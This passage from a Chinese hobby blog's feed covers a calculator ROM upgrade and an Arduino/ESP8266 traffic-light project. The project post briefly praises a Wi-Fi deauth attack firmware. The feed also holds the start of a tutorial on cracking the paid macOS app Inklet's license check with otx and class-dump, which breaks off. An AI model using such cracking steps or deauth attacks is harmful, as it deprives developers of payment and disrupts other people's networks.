    <summary type="html">&lt;p&gt;最近把 hexo blog 修改成用 GitHub Actions 自动部署的了，发篇文章测试一下&lt;s&gt;水一水&lt;/s&gt;&lt;/p&gt;</summary>
    
    
    
    <category term="笔记" scheme="https://blog.apeiria.net/categories/%E7%AC%94%E8%AE%B0/"/>
    
    
    <category term="Blog" scheme="https://blog.apeiria.net/tags/Blog/"/>
    
    <category term="Hexo" scheme="https://blog.apeiria.net/tags/Hexo/"/>
    
    <category term="GitHub" scheme="https://blog.apeiria.net/tags/GitHub/"/>
    
    <category term="GitHub Pages" scheme="https://blog.apeiria.net/tags/GitHub-Pages/"/>
    
    <category term="CI/CD" scheme="https://blog.apeiria.net/tags/CI-CD/"/>
    
    <category term="GitHub Actions" scheme="https://blog.apeiria.net/tags/GitHub-Actions/"/>
    
  </entry>
  
  <entry>
    <title>将 HP 39gs 升级为 HP 48gII</title>
    <link href="https://blog.apeiria.net/2020/hp39gs-upgrade/"/>
    <id>https://blog.apeiria.net/2020/hp39gs-upgrade/</id>
    <published>2020-07-11T03:10:00.000Z</published>
    <updated>2020-07-11T03:10:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>HP 39gs 是 HP 于 2006 年发布的 HP-39 系列中的一个图形计算器</p><span id="more"></span><table><thead><tr><th>HP 39gs</th><th>信息</th></tr></thead><tbody><tr><td>CPU</td><td>SAMSUNG S3C2410A ARM920T 75Mhz（可调至 203Mhz+）</td></tr><tr><td>RAM</td><td>256KB</td></tr><tr><td>屏幕</td><td>131×64 单色 LCD 可调对比度</td></tr><tr><td>通信</td><td>Mini USB / RS232 / IrDA</td></tr><tr><td>供电</td><td>4×AAA + CR2032</td></tr><tr><td>尺寸</td><td>9.4×3.1×18.7 cm</td></tr><tr><td>重量</td><td>248g</td></tr><tr><td>输入</td><td>线性 Algebraic</td></tr><tr><td>Aplet 语言</td><td>RPL</td></tr><tr><td>Program 语言</td><td>HP Basic</td></tr><tr><td>CAS</td><td>无</td></tr><tr><td>其他</td><td>有蜂鸣器</td></tr></tbody></table><div class="note info"><p>HP 39gs 售价非常低廉（通常低于 50 人民币/台），但它运算功能差，速度慢，不建议用于日常计算使用。如果想要购买建议先使用模拟器体验。</p></div><h2 id="HP-39gs-使用体验">HP 39gs 使用体验</h2><p>2019 年底我购买了 HP 39gs，这是我接触到的第一台图形编程计算器。</p><p>没有 HP 计算器也想体验一下？</p><p>可以使用<span class="exturl" data-url="aHR0cHM6Ly9wbGF5Lmdvb2dsZS5jb20vc3RvcmUvYXBwcy9kZXRhaWxzP2lkPW9yZy5lbXVsYXRvci5mb3J0eS5laWdodA==">Emu48 for Android<i class="fa fa-external-link-alt"></i></span>等模拟器。</p><h3 id="操作">操作</h3><p>它使用线性输入，所以拿到手后我很快就学会了如何使用它。</p><p>不足的是字母等需要按 ALPHA 后输入的键标识位于实体键下方，需要适应。</p><h3 id="计算及绘图">计算及绘图</h3><p>计算只能是小数或是通过小数化成的分数，部分计算甚至不及我的<code>CASIO fx-82ES + A</code>函数计算器。</p><blockquote><p>计算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msqrt><mn>2</mn></msqrt><mo>+</mo><msqrt><mn>2</mn></msqrt></mrow><annotation encoding="application/x-tex">\sqrt{2}+\sqrt{2}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.04em;vertical-align:-0.13278em;"></span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.90722em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">2</span></span></span><span style="top:-2.86722em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg width='400em' height='1.08em' viewBox='0 0 400000 1080' preserveAspectRatio='xMinYMin slice'><path d='M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z'/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.13278em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.04em;vertical-align:-0.13278em;"></span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.90722em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">2</span></span></span><span style="top:-2.86722em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg width='400em' height='1.08em' viewBox='0 0 400000 1080' preserveAspectRatio='xMinYMin slice'><path d='M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z'/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.13278em;"><span></span></span></span></span></span></span></span></span></p></blockquote><p>得不到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn><msqrt><mn>2</mn></msqrt></mrow><annotation encoding="application/x-tex">2\sqrt{2}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.04em;vertical-align:-0.13278em;"></span><span class="mord">2</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.90722em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">2</span></span></span><span style="top:-2.86722em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg width='400em' height='1.08em' viewBox='0 0 400000 1080' preserveAspectRatio='xMinYMin slice'><path d='M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z'/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.13278em;"><span></span></span></span></span></span></span></span></span></p><p>将只能得到近似结果<code>2.82842712474</code></p><p>如果在分数模式下就会得到<code>1217471/430441</code>(精度 11)、<code>478/169</code>(精度 4)</p><p>绘图画简单的函数还是 OK 的</p><ul><li>可以同时画多条</li><li>有几种坐标方式可选</li><li>可以求根、极值、面积、切线角度</li></ul><h3 id="其他程序">其他程序</h3><p>游戏非常多</p><p>我能想到的经典的几个：超级马里奥、贪吃蛇、BABAL、俄罗斯方块、扫雷</p><p><span class="exturl" data-url="aHR0cHM6Ly93d3cuYmlsaWJpbGkuY29tL3ZpZGVvL0JWMUR4NDExRzdaSA==">【百元科技神器-03】如何玩坏一个图形计算器（<i class="fa fa-external-link-alt"></i></span> by <span class="exturl" data-url="aHR0cHM6Ly93d3cuamltbXl0aWFuLmNvbS8=">Jimmy Tian<i class="fa fa-external-link-alt"></i></span></p><p>群友编写的程序也很多，如中文阅读器、电子琴、摩尔斯电码、各种音乐、时钟、五子棋…</p><p><span class="exturl" data-url="aHR0cHM6Ly93d3cuaHBjYWxjLm9yZy8=">hpcalc<i class="fa fa-external-link-alt"></i></span>上也有很多程序</p><p>我认为比较重要的一个程序是<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL0FybmllOTcvY2xvY2stdHVuZXI=">时钟调节器<i class="fa fa-external-link-alt"></i></span>，降频可以省电或是减缓游戏速度，升频可以是作图和计算更快速。</p><h2 id="HP-39gs-改造">HP 39gs 改造</h2><div class="note warning"><p>需要有一定的电子知识和集成电路焊接技术。有一定的危险性。若您对自己的操作技术没有把握，请勿尝试，以免受伤或是计算器受损。必要的话请找人帮忙改。</p></div><h3 id="拆开-HP-39gs">拆开 HP 39gs</h3><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/hp39gs-upgrade/open.webp" alt="先取下屏幕前的贴纸"></p><p>旋下两颗十字螺丝，打开电池盖，部分批次的计算器可能还有两颗螺丝也须取下。</p><p>打开后盖（由卡扣固定），小心不要弄断电池盒或蜂鸣器的连接线。</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/hp39gs-upgrade/opened.webp" alt="打开后如图(因为我已做部分改造 会有少许不同)"></p><h3 id="供电改造">供电改造</h3><p>HP 39gs 采用 4 节 AAA 电池供电(1.5V×4=6V)，但它实在有些太费电了，4 节全新电池 1 周-1 个月就需要更换。</p><p>一种解决方法是使用 Mini USB 和移动电源为 HP 39gs 供电。实在不是很方便，我决定为 HP 39gs 安装锂电池。</p><h4 id="我的方案">我的方案</h4><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/hp39gs-upgrade/power.webp" alt="材料：锂电池充电+保护板 DC升压板 锂电池"></p><ul><li><p>锂电池充电+保护板<br>我用的是带有 Type-C 接口的(也能选用 Micro-B)，比 Mini USB 更通用</p></li><li><p>DC 升压板<br>锂电池没有找到 6V 的，使用它由 3.7V 升压至 6V 给计算器供电</p><p>如果不使用它也可以点亮计算器，只是计算器会判定电量低，开机就会有提示出现</p><p>如果使用 7.4V 电池给计算器供电可能会导致花屏</p></li><li><p>锂电池<br>HP 39gs 内部空间较大 要使用尺寸合适的</p></li></ul><p>小心调节升压板的电位器使它输出 6V</p><p>接线：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">电池+ -- B+ , OUT+ -- VIN+ , VOUT+ -- 计算器+</span><br><span class="line">电池- -- B- , OUT- -- VIN- , VOUT- -- 计算器-</span><br></pre></td></tr></table></figure><p>全部塞到计算器里固定好</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/hp39gs-upgrade/battery.webp" alt="一堆胶带"></p><p><s>别打我</s></p><h4 id="其他方案">其他方案</h4><p>我的方案只是最基础的，最小程度破坏原机设计的修改。</p><p>评论区有大佬指出：可以通过 修改 ADC 电阻的阻值 以实现 系统自带低电量提醒 的功能，并且可以 省略升压板、减少能源损耗，同时增加内部空间。有兴趣使用此方案的话可以去评论区查看详细信息。</p><p>理论上可以做的改进还有不少，比如从 Mini USB 的接口引出电源线来为电池充电等。在下文提到的 ROM 升级中也有人通过修改电阻和显示屏，将 HP 39gs 升级为 HP 50g。</p><h3 id="升级到-HP-48gII">升级到 HP 48gII</h3><blockquote><p>更换 HP 39gs 的 ROM 芯片为更大容量的芯片并刷入 HP 48gII 计算器的操作系统后，HP 39gs 就会获得 HP 48gII 计算器的全部功能。——由 cncalc 计算器论坛的 nbzwt 研究发现</p></blockquote><div class="note info"><p>HP 39gs 的按键功能在升级后会变为 HP 48gII 的按键功能，不再与按键标记对应。需要使用键盘贴等重新标记按键</p><p>如果不想更换按键位置，可以考虑升级到 HP 40gs</p></div><p>我使用的芯片是<code>SST39VF1601-70-4I-EKE</code>，购买时可以让卖家烧写好系统，就不需要自己用 JTAG 烧写了。</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/hp39gs-upgrade/chip.webp" alt="HP 39gs的芯片 购买的芯片"></p><p>取下主板上的电磁屏蔽纸，使用烙铁或风枪更换图示芯片，注意方向，能否成功基本看焊接技术。</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/hp39gs-upgrade/replace.webp" alt="芯片位置及朝向"></p><p>开机后应该就是 HP 48gII 的操作界面了</p><p>安装计算器，贴键盘贴。键盘贴可以自制，也能在网上购买</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/hp39gs-upgrade/key.webp" alt="买来的键盘贴"></p><h2 id="HP-48gII-使用体验">HP 48gII 使用体验</h2><p>HP 48gII 除了和 HP 39gs 在按键上不同外，软件上也有许多的变化。</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/hp39gs-upgrade/version.webp" alt="改机后查看版本"></p><h3 id="计算">计算</h3><p>得益于 HP 48gII 带有<span class="exturl" data-url="aHR0cHM6Ly9jYWxjd2lraS5vcmcvJUU4JUFFJUExJUU3JUFFJTk3JUU2JTlDJUJBJUU0JUJCJUEzJUU2JTk1JUIwJUU3JUIzJUJCJUU3JUJCJTlG">CAS<i class="fa fa-external-link-alt"></i></span>功能(Erable-based)，在速度、精度上得到了较 HP 39gs 较大的提升。</p><p>HP 48gII 除了使用线性 Algebraic 输入，也能使用 EQW 自然书写。另外还支持大部分 HP 计算器都支持的<span class="exturl" data-url="aHR0cHM6Ly9jYWxjd2lraS5vcmcvJUU5JTgwJTg2JUU2JUIzJUEyJUU1JTg1JUIwJUU4JUExJUE4JUU4JUJFJUJFJUU1JUJDJThG">RPN<i class="fa fa-external-link-alt"></i></span>输入方式。</p><h3 id="其他软件">其他软件</h3><p>HP 48gII 游戏体验我认为不如 HP 39gs，游戏较少（但 ROM 自带俄罗斯方块彩蛋），频率调节不便…</p><p>ROM 自带有时钟，可以用于查看时间日期。</p><p>编程语言使用<span class="exturl" data-url="aHR0cHM6Ly9jYWxjd2lraS5vcmcvUlBM">RPL<i class="fa fa-external-link-alt"></i></span>或 Algebraic RPL。</p><h3 id="连接-PC">连接 PC</h3><p>在 Windows 上，HP 48gII 使用 conn4x。原先 HP 39gs 使用的 conn3x 将不能继续用于连接 HP 48gII，传输时一般使用<code>Xmodem Server</code></p><h2 id="更多请见">更多请见</h2><ul><li><span class="exturl" data-url="aHR0cHM6Ly93d3cuY25jYWxjLm9yZy90aHJlYWQtMTE0NzUtMS0xLmh0bWw=">HP 39gs 升级 48gII<i class="fa fa-external-link-alt"></i></span></li><li><span class="exturl" data-url="aHR0cHM6Ly9sZXhzaW9uLmNvbS9pbmRleC5waHAvYXJjaGl2ZXMvMjA0Lw==">HP39gs计算器改装锂电池供电<i class="fa fa-external-link-alt"></i></span></li><li><span class="exturl" data-url="aHR0cHM6Ly9jYWxjd2lraS5vcmc=">计算器百科<i class="fa fa-external-link-alt"></i></span></li><li><span class="exturl" data-url="aHR0cHM6Ly93d3cuY25jYWxjLm9yZw==">cncalc<i class="fa fa-external-link-alt"></i></span></li><li><span class="exturl" data-url="aHR0cHM6Ly93d3cuaHBjYWxjLm9yZy8=">hpcalc<i class="fa fa-external-link-alt"></i></span></li><li><span class="exturl" data-url="aHR0cHM6Ly96aHVhbmxhbi56aGlodS5jb20vcC8xNDgzOTI4NjY=">登月 50 年：计算器与计算器游戏发展简史<i class="fa fa-external-link-alt"></i></span></li></ul>]]></content>
    
    
    <summary type="html">&lt;p&gt;HP 39gs 是 HP 于 2006 年发布的 HP-39 系列中的一个图形计算器&lt;/p&gt;</summary>
    
    
    
    <category term="技术向" scheme="https://blog.apeiria.net/categories/%E6%8A%80%E6%9C%AF%E5%90%91/"/>
    
    
    <category term="ROM" scheme="https://blog.apeiria.net/tags/ROM/"/>
    
    <category term="HP" scheme="https://blog.apeiria.net/tags/HP/"/>
    
    <category term="Calculator" scheme="https://blog.apeiria.net/tags/Calculator/"/>
    
    <category term="Graphing calculator" scheme="https://blog.apeiria.net/tags/Graphing-calculator/"/>
    
    <category term="CAS" scheme="https://blog.apeiria.net/tags/CAS/"/>
    
    <category term="Hardware" scheme="https://blog.apeiria.net/tags/Hardware/"/>
    
  </entry>
  
  <entry>
    <title>玩 Arduino 开发板</title>
    <link href="https://blog.apeiria.net/2020/play-arduino/"/>
    <id>https://blog.apeiria.net/2020/play-arduino/</id>
    <published>2020-06-13T02:19:21.000Z</published>
    <updated>2020-06-13T02:19:21.000Z</updated>
    
    <content type="html"><![CDATA[<p>在学校科技节比赛中稍稍玩了会 Arduino</p><span id="more"></span><p>以前在淘宝买过一个摇摇棒套件，用的单片机是 Atmel 的 AT89S52，大致的原理是当晃动开关连通后延时控制发光二极管的亮暗，达到显示文字/图案的效果，按按钮可以切换存储的多套文字/图案。电路是卖家设计的，程序给了个模版。</p><p>修改程序先用字模软件生成阴码/阳码，放到程序中后用 Keil 软件通过 ISP 串口烧写。</p><p>相较于那个套件，这次比赛中使用的 Arduino 开发版就显得简单些了。</p><h2 id="关于比赛">关于比赛</h2><h3 id="介绍">介绍</h3><p>设计一个十字路口，搭建交通灯系统，可以有自己的创新</p><h3 id="材料">材料</h3><p>硬件：</p><ul><li>Arduino MEGA 2560 开发板</li><li>Arduino MEGA 2560 扩展板</li><li>TM1637 数码管</li><li>LED 灯</li><li>杜邦线</li><li>esp8266 (自己加的)</li></ul><p>软件：</p><ul><li><span class="exturl" data-url="aHR0cDovL21peGx5Lm9yZy8=">Mixly<i class="fa fa-external-link-alt"></i></span> For Windows</li><li>代码模版</li><li>连接教程、效果示例视频</li><li><span class="exturl" data-url="aHR0cHM6Ly93d3cuYXJkdWluby5jYy8=">Arduino<i class="fa fa-external-link-alt"></i></span> (要什么 Mixly，Arduino 不香吗)</li></ul><h2 id="部分代码实现及介绍">部分代码实现及介绍</h2><h3 id="Arduino-MEGA-2560">Arduino MEGA 2560</h3><figure class="highlight arduino"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;TM1637.h&gt;</span>            <span class="comment">//使用Grove4Display的库</span></span></span><br><span class="line"><span class="function">TM1637 <span class="title">digit1</span><span class="params">(CLK,DIO)</span></span>;        <span class="comment">//设置数码管管脚</span></span><br><span class="line">digit<span class="number">1.</span><span class="built_in">init</span>();                 <span class="comment">//初始化数码管digit1</span></span><br><span class="line">digit<span class="number">1.</span><span class="built_in">set</span>(BRIGHT_TYPICAL);    <span class="comment">//数码管设置亮度</span></span><br><span class="line">digit<span class="number">1.</span><span class="built_in">display</span>(<span class="number">0</span><span class="number">-3</span>,<span class="number">0</span><span class="number">-9</span>);       <span class="comment">//使某位显示数字</span></span><br><span class="line"><span class="built_in">pinMode</span>(R/Y/G, <span class="literal">OUTPUT</span>);        <span class="comment">//设置输出管脚</span></span><br><span class="line"><span class="built_in">digitalWrite</span>(R/Y/G,<span class="literal">HIGH</span>/<span class="literal">LOW</span>);  <span class="comment">//使R/Y/G 亮/暗</span></span><br><span class="line"><span class="built_in">Serial</span>.<span class="built_in">begin</span>(<span class="number">115200</span>);          <span class="comment">//使用串口通信 速率115200</span></span><br></pre></td></tr></table></figure><p>基本就这些，再加几个判断和循环就没问题</p><h3 id="Esp8266">Esp8266</h3><figure class="highlight arduino"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;ESP8266WiFi.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> APSSID <span class="string">&quot;SSID&quot;</span>          <span class="comment">//设置无线接入点名称</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> APPSK <span class="string">&quot;password&quot;</span>       <span class="comment">//设置无线接入点密码</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;ESP8266WebServer.h&gt;</span></span></span><br><span class="line"><span class="function">ESP8266WebServer <span class="title">server</span><span class="params">(<span class="number">80</span>)</span></span>;   <span class="comment">//Web服务器在80端口运行</span></span><br><span class="line"><span class="built_in">Serial</span>.<span class="built_in">begin</span>(<span class="number">115200</span>);          <span class="comment">//使用串口通信 速率115200</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//设置Web服务器路径及相应内容</span></span><br><span class="line">server.<span class="built_in">on</span>(<span class="string">&quot;/&quot;</span>, []() &#123;</span><br><span class="line">server.<span class="built_in">send</span>(<span class="number">200</span>, <span class="string">&quot;text/html&quot;</span>, <span class="string">&quot;&lt;h1&gt;Traffic Light&lt;/h1&gt;&lt;br /&gt;&lt;a href=\&quot;/ns\&quot;&gt;Turn N-S to green&lt;/a&gt;&lt;br /&gt;&lt;a href=\&quot;/we\&quot;&gt;Turn W-E to green&lt;/a&gt;&lt;br /&gt;&quot;</span>);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">server.<span class="built_in">on</span>(<span class="string">&quot;/ns&quot;</span>, []() &#123;</span><br><span class="line">server.<span class="built_in">send</span>(<span class="number">200</span>, <span class="string">&quot;text/plain&quot;</span>, <span class="string">&quot;N-S turned to green&quot;</span>);</span><br><span class="line"><span class="built_in">Serial</span>.<span class="built_in">print</span>(<span class="string">&quot;NS&quot;</span>);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">server.<span class="built_in">on</span>(<span class="string">&quot;/we&quot;</span>, []() &#123;</span><br><span class="line">server.<span class="built_in">send</span>(<span class="number">200</span>, <span class="string">&quot;text/plain&quot;</span>, <span class="string">&quot;W-E turned to green&quot;</span>);</span><br><span class="line"><span class="built_in">Serial</span>.<span class="built_in">print</span>(<span class="string">&quot;WE&quot;</span>);</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">server.<span class="built_in">begin</span>();                <span class="comment">//启动Web服务器</span></span><br><span class="line">server.<span class="built_in">handleClient</span>();</span><br></pre></td></tr></table></figure><p>它在这次的作品中通过串口与 Arduino MEGA 2560 建立数据连接，通过 Wi-Fi 与控制端建立数据连接，起到无线控制的作用。</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/play-arduino/ESP.webp" alt="Arduino MEGA 2560 连接 esp8266"></p><p>P.S.:为什么我会买这块 Esp8266 呢？</p><p>Jimmy Tian 在他的视频中介绍过它：</p><p><span class="exturl" data-url="aHR0cHM6Ly93d3cuYmlsaWJpbGkuY29tL3ZpZGVvL0JWMXN4NDExbTd4cQ==">【百元科技神器-01】如何「黑」掉你学校的指纹考勤机？<i class="fa fa-external-link-alt"></i></span> by <span class="exturl" data-url="aHR0cHM6Ly93d3cuamltbXl0aWFuLmNvbS8=">Jimmy Tian<i class="fa fa-external-link-alt"></i></span></p><p>我觉得比较有意思、价格也很亲民就买了(NodeMcu 版本的便于开发，如果仅买一小块 Esp8266 也能用)</p><p><s>年轻人的第一块 Wi-Fi 模块</s></p><p>体验了一下这个固件，对于 2.4Ghz 的 Wi-Fi 来说 deauth 攻击的效果明显、且便于携带隐藏，但 esp8266 不支持工作在 5Ghz，退一步讲就算它支持 5Ghz，原先的攻击方式起不了作用，目前似乎也没有对 5Ghz 较为有效的 deauth 攻击方式</p><h2 id="写在后面">写在后面</h2><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/play-arduino/UNO.webp" alt="Arduino Uno"></p><p>在另一个比赛中摸过 Arduino Uno、PS 2 手柄及接收模块，也是挺好玩的</p><p>以前玩的比赛我都用的是<span class="exturl" data-url="aHR0cDovL3d3dy5hYmlsaXguY29tLw==">能力风暴<i class="fa fa-external-link-alt"></i></span>的机器人，这次玩的 Arduino 能实现的功能要比它多，但相对的编写调试甚至于上传程序，Arduino 都要比它麻烦一些</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;在学校科技节比赛中稍稍玩了会 Arduino&lt;/p&gt;</summary>
    
    
    
    <category term="摸鱼" scheme="https://blog.apeiria.net/categories/%E6%91%B8%E9%B1%BC/"/>
    
    
    <category term="Arduino" scheme="https://blog.apeiria.net/tags/Arduino/"/>
    
    <category term="Espressif Systems" scheme="https://blog.apeiria.net/tags/Espressif-Systems/"/>
    
    <category term="AVR" scheme="https://blog.apeiria.net/tags/AVR/"/>
    
    <category term="Atmel" scheme="https://blog.apeiria.net/tags/Atmel/"/>
    
  </entry>
  
  <entry>
    <title>破解 macOS 应用程序 (Inklet)</title>
    <link href="https://blog.apeiria.net/2020/mac-app-crack/"/>
    <id>https://blog.apeiria.net/2020/mac-app-crack/</id>
    <published>2020-04-30T02:55:38.000Z</published>
    <updated>2020-04-30T02:55:38.000Z</updated>
    
    <content type="html"><![CDATA[<p><span class="exturl" data-url="aHR0cHM6Ly90ZW5vbmVkZXNpZ24uY29tL2lua2xldC5waHA=">Inklet<i class="fa fa-external-link-alt"></i></span> 是一个可以把笔记本触摸板变成简易数位板的 macOS 应用程序</p><span id="more"></span><p>软件售价 $19.98, 软件加<s>没什么用的</s>笔售价 $24.98<br><span class="exturl" data-url="aHR0cHM6Ly90ZW5vbmVkZXNpZ24uY29tL2FwcHMvaW5rbGV0L2lua2xldC5waHA=">Demo 版下载<i class="fa fa-external-link-alt"></i></span><br>Demo 版有连续使用时间等限制</p><p>上网课我需要用到, 所以我就在网上找了个 v2.1.1 的破解版用</p><p>发现官方更新到了 v2.2.0, 但是网上找不到此版本破解版/激活码</p><p>那就自己动手吧, <s>先棒读:</s><strong>仅供学习交流使用，严禁用于商业用途，请于 24 小时内删除。请支持正版</strong></p><h2 id="工具准备">工具准备</h2><ul><li><p>brew</p></li><li><p>vim<br>不会用的话用 <span class="exturl" data-url="aHR0cDovL3JpZGljdWxvdXNmaXNoLmNvbS9oZXhmaWVuZC8=">Hex Fiend<i class="fa fa-external-link-alt"></i></span></p></li><li><p>otx</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">brew cask install otx</span><br></pre></td></tr></table></figure></li></ul><p>可选工具:</p><ul><li><p><span class="exturl" data-url="aHR0cDovL3N0ZXZlbnlnYXJkLmNvbS9wcm9qZWN0cy9jbGFzcy1kdW1wLw==">class-dump<i class="fa fa-external-link-alt"></i></span></p></li><li><p>gdb</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">brew install gdb</span><br></pre></td></tr></table></figure></li><li><p>Hopper Disassembler</p></li></ul><h2 id="开始破解">开始破解</h2><p>程序的二进制文件位于<code>/Applications/Inklet.app/Contents/MacOS/Inklet</code></p><h3 id="反汇编程序">反汇编程序</h3><ul><li><p>使用 otx</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">otx /Applications/Inklet.app/Contents/MacOS/Inklet &gt; ~/Desktop/inklet.asm</span><br></pre></td></tr></table></figure><p>打开<code>inklet.asm</code></p></li><li><p>使用 class-dump</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">class-dump -H /Applications/Inklet.app/Contents/MacOS/Inklet -o ~/classdump</span><br></pre></td></tr></table></figure></li></ul><h3 id="找到返回注册信息程序的对应位置">找到返回注册信息程序的对应位置</h3><p>我先查找了<code>license</code></p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">class-dump -f license  /Applications/Inklet.app/Contents/MacOS/Inklet</span><br></pre></td></tr></table></figure><blockquote><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">@interface InkletWelcomeLicense : InkletWelcomeBase</span><br><span class="line">- (long long)licenseUpgradeState;</span><br><span class="line"></span><br><span class="line">@interface InkletRegisterPreferences : NSPreferencesModule</span><br><span class="line">- (BOOL)licenseState;</span><br><span 